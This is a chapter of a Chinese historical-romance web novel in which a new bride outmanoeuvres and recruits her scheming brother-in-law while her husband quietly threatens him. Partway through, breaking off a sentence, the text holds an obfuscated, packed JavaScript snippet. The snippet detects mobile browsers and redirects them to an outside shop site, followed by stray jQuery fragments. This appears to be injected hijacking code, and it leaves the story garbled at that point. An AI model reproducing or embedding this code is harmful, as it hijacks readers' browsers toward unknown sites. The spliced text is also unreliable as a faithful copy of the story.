廊下,沈禾远远瞥见三少爷白清畅迈过垂花门,一颗心瞬间悬到嗓子眼。
他急得跺脚,趁着孟知华与白清畅在门前寒暄问好的间隙,又想凑上去给绿绮传讯。
谁知绿绮这回连眼皮都懒得抬,只当他是疯魔了,朝他吐了吐舌,就继续跟着孟知华,将来客一路迎进花厅。
看着两位主子进去后,绿绮顺势重重放下那垂帘,彻底隔绝了内外,进去伺候前还瞪了他一眼。
沈禾伸出去的手僵在半空,眼睁睁看着那帘子上绣的繁复花纹在眼前晃了晃,随即归于平静。
他没辙,只能装作守着门口,用耳朵死死靠着帘布,想要听清一二,之后好向主子汇报。
可里头只隐隐传来几句孟知华含笑的问候,和三少爷故作恭顺的应答,再往下便听不分明了。
且孟知华还屏退了所有人,只留了绿绮。
沈禾面上不显,心中早已急得抓耳挠腮,但碍于尊卑规矩半分不敢造次。
三少爷那张嘴最会颠倒黑白,少夫人才进门两日,又是个心软慈善的,可千万别被那厮的花言巧语哄骗了去!
厅内,案上两支粉青梅瓶还插着孟知华晨间亲手拣的碧桃,粉白柔蕊衬得满室光景都温软起来。
孟知华端坐主位,眉眼弯着恰到好处的温婉笑意,指尖轻搭膝头,一副柔和模样。
白清畅斜倚客位,藏青锦袍掩不住一身散漫气。
他原以为这孟氏只是白清简应付着娶的,昨儿席间只瞧着身段可人,今儿看清她容颜,心头还是猛地一跳,竟比传闻还美上三分。
如此容貌,这般柔弱,必是个胸无点墨的娇花。
他心中冷笑,难怪那向来眼高于顶的白清简,竟愿为她触怒李家,真是色令智昏!
但这也正中他下怀,这般好拿捏的嫂子,总好过那白清简,那简直是个佛口蛇心的笑面虎。
且他自知已经得罪白清简,早已是穷途末路,今日便下定决心,瞅准白清简出门的空档,要借这软豆腐撕开一道口子。
他只须装出一副被长兄打压的惨状,那心软的嫂子为了家宅和睦,断没有不出面求情的道理。届时借力打力,或勒索孟家,或离间白孟,怎么都不亏。
“大嫂新婚劳碌,小弟还来叨扰,心里过意不去,特意讨了些陈年的地参送来,聊表心意。”
白清畅将那个锦盒随手推至案几正中,身子却半倚着椅背,没个正形。
他目光在孟知华鬓间那支崭新的赤金步摇上停留一瞬,似在掂量了一下份量,随即叹了口气:“只是三房近日实在窘迫,被大哥处处掣肘,心中烦闷,想着大嫂宽厚明理,特来倾诉一二。”
孟知华颔首,命绿绮将锦盒收下,语气温和:“三弟有心了。三房的事,可是因着田庄的账目?”
得了这句关切,白清畅心中冷哂,觉得这女人果然好糊弄。
他顺势往前倾了倾身,做出一副愁苦状,将田庄亏损、生计艰难添油加醋渲染一番,字字控诉白清简冷血寡情。
说罢,他端起茶盏,借着氤氲热气遮掩住眼底的算计,静候那预料中的柔声安抚。
谁知对面女子笑意未变,既无同情亦无宽慰,安静得仿佛在听隔壁阿婶的闲话。
白清畅指尖微顿,正欲再添把火,却听孟知华轻飘飘打断,语调如闲谈花木:“三弟整日为生计发愁,怎反倒有空,三日前黄昏去醉仙楼,与李崇文和赵侍郎密谈许久?”
嗒!
白清畅指尖一颤,茶盏磕在托盘上脆响。
孟知华明明入府才两日,如何得知?!
且那处会面极为隐秘,连白清简的人可能也只查出些许蛛丝马迹,未曾拿实。
他一时揣摩不透,这究竟是白清简授意,还是她真有所闻。惊骇强压下去,扯出个干涩的笑:“大嫂这可是听了什么无根由的闲话……”
“并非闲话。”
孟知华指尖慢悠悠摩挲着盏沿,眼皮都未抬,仿佛他那一瞬的慌乱都懒得去看,“婚前父兄便叮嘱过,李家怀怨,必欲拉拢孟、白两家旁支。孟家边军耳目遍布京畿,三日前便有密报送来。我新妇初来,不便声张,今日三弟既登门,顺口一问罢了。”
白清畅脸上最后一丝血色褪尽,原本慵懒倚靠的身子倏地绷直。
若是他那位大哥白清简撞破了他的勾当,大约也只当他是个死物,清理了事,不屑一顾。
可这位孟氏风格却大为不同,头回见面,竟半分体面不留,将这等致命把柄轻描淡写点破。
这般做派,叫他一时手足无措,竟不知该如何接话。
见他心神大乱,孟知华却不紧逼,话锋一转:“三弟,你欠的外债,我嫁过来前,就略知一二。李家给的那点银子,填完窟窿还剩几何?李家已是强弩之末,赵侍郎一党在朝树敌众多,不出半载必倒。你拿了他们的好处,届时不过是跟着陪葬,再拖累了三房几十口人,实在不值当。”
这话,句句都戳在白清畅的肺管子上。
她说的,他何尝没想过?
旧赌债未清,新债又至,昨日债主还堵了三房后门,他确是走投无路。
更何况,如今他也知道,事情已被白清简知晓,凭大哥的手段,他绝无转圜余地。
他选这条路,也是被逼无奈,李家先来勾搭,他便想着捞笔快钱……
他咬着牙正要开口辩白,却听孟知华又道:“三弟不必急着分说。我今日并非为问责而来,倒是愿给你指两条明路。”
在白清畅的满眼错愕中,孟知华慢慢抿了口茶,才娓娓道来:“若三弟执意选李家,我此刻便将这些密报原样抄送白、孟两族,此后发生何事,我概不过问。”
这套说辞,她早在婚前查探白清畅底细时便烂熟于心,没料到这般快就派上用场了,如今自是张口就来。
她第一次觉得,当话本里威胁人的奸角那么过瘾。
“若三弟肯做明智之选,眼下我便予你三百两银票。往后三房名下那两处亏空的田庄,我私下拨孟家农桑师傅帮你打理,亏算我的;赚了,分我三成红利即可,也无需惊动你大哥。”
白清畅瞳孔骤然一缩!
整整三百两!足以还清赌债尚有余裕,那田庄有人帮着料理,更是天上掉馅饼。
可这当真是馅饼,还是裹着糖衣的毒药?
他开了口,才发现喉头有些干涩:“大嫂这是……威胁小弟?还是另有什么吩咐?”
“威胁嘛,倒也谈不上。”
孟知华抬眼望来,眸色澄澈含笑,吐字却清冷如冰,“我只是给你指条活路。是要赚一时快钱,抑或是图细水长流,你自抉择。当然,也是有条件的。
“你从此不得再沾嫖赌、走私等勾当,不得再见李家人,此外……还需替我办几件事。每次办成,也不会亏待了你。”
白清畅心道果然还是有条件,但听闻报酬再加码,忙问:“何事?”
孟知华不知从何处取出两份早已备好的契约:“你应承了,在此按了指印,我方才告知。这契书上,也写得明白,自有保密之责。”
白清畅暗惊于她的周全与手段。
明明有备而来的该是自己,怎的反被她牵着鼻子走?
虽不嫖不赌于他颇为难熬,所托之事也未必轻松,可……她给的实在太多了。
罢了,先签了再说,日后如何,走一步看一步。反正出尔反尔的事他也没少干。
孟知华似看透他心思,笑吟吟道:“孟家人多在军中效力,想查些事并不难。你守不守约,我自然了如指掌。”
白清畅背上渗出一层冷汗,却仍嘴硬道:“白家人说话算话,既应承了,断不会反悔。”
他心下嘀咕,这对夫妻,在某些整人的方面倒还真般配。
白清畅读书不多,识字有限,那契书密密麻麻他也懒得细看,索性就着绿绮捧上的印台,爽快按了手印。
孟知华亦干脆利落,随之按下。
但她并未即刻将契书付他,只话中有话道:“对了,你大哥那边……”
白清畅立刻会意:“我明白,此等小事,不必惊动大哥。日后我也会等大哥不在时,再来向大嫂请安。”
见孟知华满意颔首,白清畅又问:“现下嫂子可否告知,头一件事要我做甚么?”
“帮我查一人,近些年的状况。”
“谁?”
“你二哥,白清朗。”孟知华道。
自婚前起,她心头便隐有不祥之感,总想先下手为强,摸一摸白清朗的底。
此人知晓她少年时太多隐秘,不可不防。
只是她手伸不到那么远。而白家的人,自然就最合适。
白清畅心头剧震——
竟是要他查二哥?!
原来这孟氏并非替白清简办事,而是要他做眼线,查的还不是旁人,正是连大哥都颇觉棘手的二哥!
这活计诱人,却也烫手非常。
他脊背绷得笔直,沉声道:“大嫂要我查二哥?这……二哥的性子,您大概也是知道的……”
“旁的不要问,你只需记着我要什么便可。”
孟知华笑意温婉,眼底却无半分暖意,不容他多言便截断话头。袖中取出早已备好的三百两银票,轻轻推至他面前,
“此事不急。人心尚需时日磨合,强求易生间隙。你先回去清了赌债,断了与李家往来。往后李家寻你、旁支生事,或是探得你二哥消息,皆可递信于我。”
说罢,又将一份契书递去:“你我各执一份,还请三弟妥善保管。”
白清畅颔首,心中惊疑不定。银票固然诱人,可查二哥的风险委实太高。
但他不再敢多言,将银票和契书都收起后,起身拱手时动作都显僵硬:“今日多谢大嫂提点,小弟先回去了,日后再来给大嫂请安。”
不知为何,明明拿了一笔丰厚的巨款,他却不太高兴得起来,有种被上了套的感觉。
孟知华也站起身,嗓音轻柔,却莫
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17709895|207370||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
名压得人有些喘不过气:“三思而行,不必急于一时。我的耐心,向来只留给识时务之人。”
白清畅对这位大嫂的认知彻底颠覆,甚至莫名有了几分阴影,只想尽快离开,生怕她又再加码。
不料她竟亲带绿绮,一路将他送至厅门。
恰在此时,从宫中归来的白清简正行至廊外转角。
廊下风起,卷着桃花碎瓣打着旋儿。
孟知华正立在厅门台阶上,抬手虚挡了下风,见白清简走来,她便收回手,温婉一笑,那笑意未达眼底,却恰到好处。
“回来了?”
白清简步履从容,朝孟知华颔首,而后看向白清畅:“三弟来了。”
白清畅抬头,正迎上白清简的目光。
那一瞬间,他总觉得大哥那温润的眼底,似乎掠过了一丝冷意,仅一瞬,就让他不寒而栗。
这一声招呼打得理所当然,白清畅不得不停下脚步躬身回礼:“大哥回来了。”
打完招呼,白清简这才顺势侧身,走到孟知华身侧。
借着风势,他极其自然地抬手,替她将鬓边被风吹乱的一缕碎发别到耳后。
动作行云流水,指尖若有似无地擦过她的耳廓,带起一阵微凉的痒意。
随即,他放低声对她道:“外头风大,仔细着凉,你先回屋里歇着吧。”
孟知华因他的触碰而眼睫轻颤,但几乎是立刻,便领会了他此举的深意。
不就是唱一出新婚夫妇的戏嘛,她懂。
她眼波流转,顺势往白清简身侧靠了靠,仰起头,眸色清亮:“那我去看看厨房的晚膳准备得如何了。”
白清简身形几不可察地顿了一瞬。
他垂眸,看入她含笑的双眸,面上那柔和的笑意丝毫未变:“好,我和三弟说会儿话,稍后就来。”
孟知华向他俩告礼后转身离去,裙裾曳地,那袅娜的背影活像一朵鲜艳的娇花。
白清畅在旁看得眼角抽搐。
毕竟他刚在里面见识过,这娇花是如何谈笑间把他拿捏得死死的。
而且,他们夫妇俩一个刚鞭笞完他,另一个又要找他,就不能直接男女双打给他个痛快吗!
待那鹅黄色的裙裾消失在廊角,白清简脸上的柔软顷刻间如潮水般褪去。
他这才重新看向白清畅,十分随意地笑了笑:“三弟,借一步说话吧。”
他径直走到了廊檐的阴影下,背对着庭院,将白清畅堵在了柱子与墙壁形成的夹角里。
“三弟。我有话就直说了。”
白清简的那声音轻缓柔和,似无棱角,然而字里行间却如冷水浇头,震得白清畅心头一颤,“你嫂子刚来,不懂府里规矩,你莫要把那些市侩算计用到她身上。你的事情,自有我处理。”
他虽憋屈,却不敢造次,只能点头:“小弟明白。”
白清简又散淡一笑:“你也知道的,白家人那么多,并不缺谁一个。从前没明白这个道理的,结局你大概也听闻了。”
言语虽淡,威势却重逾千钧。白清畅额头冷汗涔涔而下,心沉到了谷底。
自己私下探寻白家旧案的事,终究还是没能瞒过白清简。
如今,他也唯有将这条性命,全盘押在孟氏身上。
既需要他办事,孟氏一定会保他的,一定会的。
指尖无意识地摩挲着衣襟下那份尚带墨香的契约,一丝苦涩的庆幸涌上心头。
白清简似乎很满意他的恐惧,稍微退开半步,慢条斯理整理了一下袖口,语气平淡无波:“既如此,你便回去知会一声,让你二哥月内回来,省得各房无人迎接,失了礼数。”
“二、二哥要回来?!”
白清畅面色陡然一白,整个人像是被兜头浇了盆凉水。
他从小就很怕二哥白清朗,那是个不管不顾的煞星,小时候没少揍他,若是让他知道自己在背后搞了那么多鬼,怕是他就算逃过白清简,但在白清朗那儿,皮还是要被扒下一层!
更让他心惊的是,刚才嫂子才让他查二哥,难道她早就知道二哥要回来?这俩人……是一伙的吗?还是嫂子另有打算?
白清简平静地垂眸看着他失态的模样,淡淡道:“你回吧,就不送了。”
说完,他不再多看白清畅一眼,仿佛多看一眼都嫌脏,转身阔步朝孟知华离去的方向走去。
回到内院时,孟知华正立在窗边,指挥着丫鬟搬着插好的碧桃。
见他进来,她回过头,眉眼弯弯:“聊完了?”
“嗯,许久没见三弟,寒暄了几句。”
白清简走到她身侧,顺着她的目光看那些嫩粉的桃枝,语气恢复了一贯的温和,“他今日来找你,聊了什么?”
身后,沈禾看着爷前后截然不同的两张面孔,缩了缩脖子。
风卷着桃花落瓣飘进廊下,白府看似平和的日子里,暗流已经翻涌而起。
二少爷的归来,怕是要让这潭水,彻底沸腾起来了。